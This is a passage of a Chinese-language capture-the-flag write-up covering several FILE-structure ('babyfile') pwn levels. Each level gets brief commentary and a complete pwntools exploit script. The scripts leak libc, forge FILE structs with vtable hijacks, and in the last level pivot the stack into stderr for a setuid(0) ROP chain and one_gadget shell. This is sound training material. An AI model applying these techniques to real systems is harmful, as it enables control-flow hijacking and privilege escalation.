    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def open_flag():
    target.sendlineafter(b"> ", b"open_flag")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()
    close_file()
    open_flag()
    new_note(0, 0x100)
    read_file(0)

    fp = FileStructure()
    fp.write(0, 0x100)
    payload = flat(fp.struntil("_flags2"))

    # raw_input("DEBUG")
    write_fp(payload)
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 18

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to arbitrarily read/write data or hijack control fl
ow.

## Write-up

没开 PIE 有 `fwrite` 且可篡改 fp 那还不是轻轻松松?

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level18"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def open_flag():
    target.sendlineafter(b"> ", b"open_flag")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.write(elf.bss(), 0x150)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x10)
    write_file(0)

    target.recvlines(4)
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x140)
    fp_ptr = int.from_bytes(target.recv(0x8), "little")

    target.success(f"libc: {hex(libc)}")
    target.success(f"fp: {hex(fp_ptr)}")

    fp = FileStructure()
    fp._lock = fp_ptr
    fp._wide_data = fp_ptr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]
    payload = flat(
        bytes(fp),
        fp_ptr,
    )

    write_fp(payload)

    new_note(0, 0x100)
    raw_input("DEBUG")
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 19

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to arbitrarily read/write data or hijack control fl
ow.

## Write-up

笑死了,说明我上一题是非预期解,咋一看和上题没啥区别啊,删了点功能而已,但是被删
的功能我一个也没用上,测试直接用上题一样的 exp,通了……

所以这题的耗时大概是 30s,~~这 30s 是我和 IDA 姐姐谈心的时间(bushi~~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level19"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def open_flag():
    target.sendlineafter(b"> ", b"open_flag")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.write(elf.bss(), 0x150)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x10)
    write_file(0)

    target.recvlines(4)
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x140)
    fp_ptr = int.from_bytes(target.recv(0x8), "little")

    target.success(f"libc: {hex(libc)}")
    target.success(f"fp: {hex(fp_ptr)}")

    fp = FileStructure()
    fp._lock = fp_ptr
    fp._wide_data = fp_ptr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]
    payload = flat(
        bytes(fp),
        fp_ptr,
    )

    write_fp(payload)

    new_note(0, 0x100)
    raw_input("DEBUG")
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 20

## Information

- Category: Pwn

## Description

> Apply various FILE struct exploits to obtain a leak, then hijack hijack contro
l flow.

## Write-up

别告诉我我打了两道非预期 o_O

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level20"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def open_flag():
    target.sendlineafter(b"> ", b"open_flag")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.write(elf.bss(), 0x270)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x10)
    raw_input("DEBUG")
    write_file(0)

    target.recvlines(4)
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x260)
    fp_ptr = int.from_bytes(target.recv(0x8), "little")

    target.success(f"libc: {hex(libc)}")
    target.success(f"fp: {hex(fp_ptr)}")

    fp = FileStructure()
    fp._lock = fp_ptr
    fp._wide_data = fp_ptr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]
    payload = flat(
        bytes(fp),
        fp_ptr,
    )

    write_fp(payload)

    new_note(0, 0x100)
    raw_input("DEBUG")
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 21

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to obtain the flag.

## Write-up

这才是真正的 FSOP。程序正常返回,或 `abort` 或 `exit` 后都会调用 `_IO_flush_all_
lockp`,它会刷新 `_IO_list_all` 中的每一个结构体,调用其 vatble 指向的函数。这道
题只会刷新 `stderr`(因为程序关闭了 `stdout` 和 `stdin`),然后调用 `stderr` 的 
vtable 指向的函数,老样子,让 vtable 去执行 `__GI__IO_wfile_overflow`,然后它调
用 `_IO_wdoallocbuf`,之后这个东西又去调用 stderr 的 `_wide_data` 加上某个偏移处
的内容。所以我们可以直接让其调用 one_gadget,可是真的那么简单吗?

注意这题是有 `SUID` 的,直接调用 one_gadget 可以拿到 shell 但是不能 `cat /flag`
,所以我们需要一个 ROP Chain 先执行 `setuid(0)` 然后再去执行 one_gadget。这是这
题的另一处难点,因为正常只能返回到某条指令,我们控制不了后续执行的内容以及栈内容
。我的解决方案是 stack pivot 到 stderr,充分利用这个结构体构造 ROP Chain,之后就
能发现这题设计的真的非常巧妙,不管是多一个还是少一个字节都不行 orz

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level21"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b" is: ")
    libc.address = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc.address + 0x1E8DE0
    stderr = libc.sym["_IO_2_1_stderr_"]

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"stderr: {hex(stderr)}")

    one_gadget = libc.address + 0xE3B01
    pop_rdi_ret = libc.address + 0x128B8D
    leave_ret = libc.address + 0x578C8

    fp = FileStructure()
    fp._IO_read_ptr = pop_rdi_ret
    fp._IO_read_end = 0
    fp._IO_read_base = libc.sym["setuid"]
    fp._IO_write_ptr = one_gadget + 1
    fp._IO_write_base = one_gadget
    fp._lock = stderr + 0x10
    fp._wide_data = stderr - 0x48
    fp._codecvt = stderr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = leave_ret

    raw_input("DEBUG")
    target.send(bytes(fp))

    target.interactive()


if __name__ == "__main__":
    main()
```

# 后记

紧赶慢赶从月垫底杀到第三,完结撒花。一共耗时……15 天 xD
其实可以控制在七天以内解决,只是因为最近实在太懒了,基本上前期都是一天只做一道题
,不管是难题还是简单题……

接下来应该还有最后一个比较综合的 FSOP 利用章节,打算一周解决,然后去稍稍学点 ker
nel,专攻 IoT,打比赛,准备面试。呀,2 AM 了。就酱,晚安世界~